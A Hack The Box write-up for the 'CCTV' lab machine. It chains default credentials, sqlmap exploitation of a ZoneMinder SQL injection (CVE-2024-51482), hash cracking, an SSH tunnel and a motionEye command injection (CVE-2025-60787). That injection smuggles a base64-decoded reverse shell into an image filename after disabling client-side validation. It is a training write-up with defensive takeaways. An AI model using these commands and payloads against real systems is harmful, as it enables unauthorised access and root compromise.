shreekara@sneaky69:~/writeups/cctv$
$catcctv.md

HTB Write-Up: CCTV

PlatformHack The Box
DifficultyEasy
OSLinux
Authorshreekara
DateJune 2, 2026
Sourcegithub.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Enumeration — Web App & Version Fingerprinting
3. Foothold — CVE-2024-51482 (ZoneMinder SQL Injection)
4. Lateral Movement — motionEye Internal Service
5. Privilege Escalation — CVE-2025-60787 (motionEye Command Injection)
6. Summary & Takeaways

1. Reconnaissance

$sudo nmap-sC -sV -p- 10.129.1.108
PortServiceDetails
22SSHOpenSSH 9.6p1 (Ubuntu)
80HTTPApache 2.4.58 (Ubuntu)

SSH is useless without creds. Port 80 redirects straight to http://cctv.htb/, so that's added to /etc/hosts and the web server is the focus.


2. Enumeration — Web App & Version Fingerprinting

2.1 — Initial Browsing

cctv.htb is a site for SecureVision, a CCTV and security solutions company. Two things stand out: a Staff Login button and a Get a Quote button. Staff Login was the interesting one — it brings up a ZoneMinder login panel.

2.2 — Default Credentials

Tried admin:admin — worked immediately. Inside the ZoneMinder dashboard, the version string is right there: ZoneMinder v1.37.63.

2.3 — CVE Research

Searching "ZoneMinder 1.37.63 CVE" turns up CVE-2024-51482 — a boolean-based blind SQL injection in the tid parameter of web/ajax/event.php, affecting versions up to v1.37.64. Squarely in range.

CVEServiceImpact
CVE-2024-51482ZoneMinder ≤ v1.37.64Authenticated blind SQLi via tid param

3. Foothold — CVE-2024-51482 (ZoneMinder SQL Injection)

3.1 — Manual Verification

A public PoC existed but didn't work cleanly, so verified the endpoint manually first, using the ZMSESSID session cookie grabbed from dev tools:

$curl-v -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1"
{"result":"Ok","response":0}

Endpoint reachable and authenticated. Good to proceed.

3.2 — Exploiting with sqlmap

$sqlmap-u "http://cctv.htb/zm/index.php?...&tid=1" --cookie="ZMSESSID=<cookie>" --batch --level=3 --risk=3
tid (GET) — time-based blind, MySQL >= 5.0.12 AND time-based blind (query SLEEP)

3.3 — Dumping Credentials

$sqlmap-u "..." --cookie="ZMSESSID=<cookie>" --batch -D zm -T Users -C Username,Password --dump

Fair warning: time-based blind is slow, every character costs multiple timed requests, and sessions can expire mid-extraction. Three users came out with bcrypt hashes attached — superadmin, mark, admin.

3.4 — Hash Cracking

$hashcat-m 3200 hashes.txt rockyou.txt
mark:opensesame · admin:admin

3.5 — SSH Access

$sshmark@10.129.244.156
Password: opensesame · logged in.

In as mark, but the user flag isn't in /home/mark/ — it's sitting in /home/sa_mark/, which mark can't touch. Time to pivot.


4. Lateral Movement — motionEye Internal Service

4.1 — Internal Enumeration

$ss-tlnp
PortService
8765motionEye 0.43.1b4 — CCTV management UI
8888MediaMTX media server

4.2 — SSH Tunnel & Credentials

$ssh-L 8765:127.0.0.1:8765 mark@10.129.244.156

motionEye stores its config in /etc/motioneye/, and some of those files turned out readable:

$strings/etc/motioneye/motion.conf | grep -i pass
Admin password stored in plaintext.

Logged into motionEye as admin with the recovered password.


5. Privilege Escalation — CVE-2025-60787 (motionEye Command Injection)

5.1 — How the Vulnerability Works

Settings panel confirmed motionEye 0.43.1b4, which turns up CVE-2025-60787 — OS command injection via the image_file_name config parameter. motionEye passes the filename through shell evaluation when saving snapshots, so a command substitution $(...) in the filename gets executed. There's frontend JS validation blocking special characters, but that's a browser console line away from gone.

5.2 — Bypassing Validation & Injecting the Payload

$nc-lvnp 9001

In the browser dev console (F12):

>configUiValid= function() { return true; };

Then under Settings → Still Images → Image File Name:

$(echo <base64-reverse-shell> | base64 -d | bash).%Y-%m-%d-%H-%M-%S

Base64 encoding the payload dodges any remaining backend character filtering.

5.3 — Triggering the Shell

Saved the config, hit the snapshot button on the camera feed. The moment motionEye tried to save the image with the malicious filename, the shell evaluated the substitution and the reverse shell fired — and since motionEye runs as root, the shell came back as root directly. Both flags in one shot.


6. Summary & Takeaways

Attack Chain

PhaseTechniqueResult
Reconnmap -sC -sV -p-Ports 22, 80 identified
Web EnumerationDefault creds admin:adminZoneMinder dashboard access
CVE-2024-51482sqlmap time-based blind SQLiBcrypt hashes dumped
Hash Crackinghashcat -m 3200mark:opensesame cracked
SSH AccessPassword reuseShell as mark
Internal Reconss -tlnp + SSH tunnelmotionEye identified + creds extracted
CVE-2025-60787Command injection via image_file_nameRoot shell + both flags

What I Took Away From This Box

Killing that frontend validation with one line in the console was the moment that stuck with me — it made it obvious how little client-side checks actually protect anything. If the backend doesn't sanitize input, the JavaScript blocking special characters is just friction, not a control.

motionEye was never exposed externally at all, and I'd never have reached it without running ss -tlnp and tunneling in over SSH. That's become a habit now for every box — check what's listening on localhost after any foothold, because the privesc path is often sitting right there.

Default and plaintext credentials carried this whole chain, honestly. admin:admin on ZoneMinder, then a plaintext password sitting in a world-readable motionEye config. Neither took real effort to find. And the fact that CVE-2025-60787 needed authentication first didn't matter much once those credentials were sitting right there for the taking — "authenticated" doesn't mean much as a mitigation when the auth itself is broken.

< cd ~/writeups